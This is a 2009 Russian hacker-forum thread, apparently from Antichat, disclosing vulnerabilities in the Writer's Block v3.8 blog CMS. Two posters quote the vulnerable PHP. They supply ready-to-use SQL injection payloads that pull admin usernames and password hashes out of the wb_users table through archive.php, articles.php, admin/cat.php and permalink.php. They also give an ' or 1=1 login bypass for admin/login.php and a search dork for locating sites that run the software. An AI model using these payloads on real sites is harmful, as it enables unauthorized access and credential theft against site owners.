Уязвимости Writer's Block v3.8

Discussion in 'Веб-уязвимости' started by Iceangel_, 30 Apr 2009.

  1. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Уязвимости Writer's Block v3.8
    download: http://www.desiquintans.com/writers-block/downloads/writersblock-current.zip
    dork: "Published by Writer’s Block"

    SQL-injection

    1) archive.php (требования: magic_quotes=off)
    уязвимый код:
    PHP:
    if(isset($_GET['cat'])) {
    ## Check if category exists
        
    $check strpos($_GET['cat'], '+');     //это, какбе, защита от инъекций, походу =)
        
    $check .= strpos($_GET['cat'], '%20');  //
        
    if(!$check) {
            
    $getinfo mysql_query("SELECT PCatID, PostCatName, PostDesc FROM ".POSTCAT_TBL." WHERE PostCatUrl='".$_GET['cat']."'");
        }

    эксплуатирование:
    Code:
    archive.php?cat=-1'/**/union/**/select/**/1,concat_ws(0x3a,UserName,Password),3/**/from/**/wb_users/*


    2) /admin/cat.php (требования: доступ в админ панель)
    уязвимый код:
    PHP:
    elseif ($_GET['action'] == 'edit') {
        if (isset(
    $_GET['PCatID'])) {
            
    ## Edit post category
            
    $pagetitle 'Edit Post Category';
            include (
    'include/head.htm');

            
    $retrieve mysql_query ("SELECT * FROM ".POSTCAT_TBL." WHERE PCatID=".$_GET['PCatID']);
    эксплуатирование:
    в этой инъекции мк=офф уже не обязательно, но в админку еще попасть надо =)...
    Code:
    admin/cat.php?action=edit&PCatID=1+union+select+1,2,3,version(),5--

    Bypass (требования: magic_quotes=off)
    уязвимый код:
    /admin/login.php
    PHP:
    if($_POST['login']) {
        
    $error NULL;
        if(empty(
    $_POST['username']) or strpos($_POST['username'], ' ')) {
            
    $u FALSE;
            
    $error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid username.</p>';
        } else {
            
    $u =& $_POST['username'];
        }
        if(empty(
    $_POST['password']) or strpos($_POST['password'], ' ')) {
            
    $p FALSE;
            
    $error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid password.</p>';
        } else {
            
    $p =& $_POST['password'];
        }

        if(
    $u and $p) {
            
    $get_user_auth mysql_query("SELECT UserID, UserName, Password FROM ".USERS_TBL." WHERE UserName='$u' AND Password='".md5($p)."'");
    эксплуатирование:
    идем в /admin/login.php и вбиваем:

    Username:'/**/or/**/1=1/*
    Password:<any symbols without space>
     
    #1 Iceangel_, 30 Apr 2009
    Last edited: 30 Apr 2009
    8 people like this.
  2. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Version: 3.8

    SQL Injection

    Vuln file: articles.php
    PHP:
    /*...*/
    if(isset($_GET['page'])) {
    ## Check if the Anypage exists
        
    $check strpos($_GET['page'], '+');
        
    $check .= strpos($_GET['page'], '%20');
        if(!
    $check) {
            
    $showpage mysql_query("SELECT Title, Subheading, PageDesc, PageBody, AnyCat1, AnyCat2, AnyCat3, AnyCat4, Author, Timestamp FROM ".ANYPAGE_TBL."
                WHERE UrlName='"
    .$_GET['page']."'");
        }
    /*...*/
    Exploit:
    Code:
    http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/articles.php?page=1[COLOR=White]'+union+select+null,concat_ws(0x3a,UserName,Password),null,null,null,null,null,null,null,null+from+wb_users+where+UserID=1+--+[/COLOR]
    Vuln file: permalink.php
    PHP:
    /*...*/
            
    $comment_sent mysql_query("INSERT INTO ".COMMENTS_TBL." (PostID, Name, Email, Url, Body, Timestamp) VALUES
            ('"
    .$_POST['PostID']."', '".strip_tags($_POST['name'])."', '".strip_tags($_POST['email'])."', '$url', '".nl2br($comment)."', 
                '"
    .time()."')");
    /*...*/
    Exploit:
    Code:
    POST http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/permalink.php HTTP/1.0
    Content-type: application/x-www-form-urlencoded
    
    PostID=1
    &name=Antichat.ru
    &[email protected]
    &url=xek[COLOR=White]',(select concat_ws(0x3a,UserName,Password) from wb_users where UserID=1),'A')/*[/COLOR]
    &comment=Hello World
    &submit=Say%20this
    смотрим логин:хэш админа в комментах

    Для успешной эксплуатации уязвимостей необходимо:
    magic_quotes = OFF
     
    3 people like this.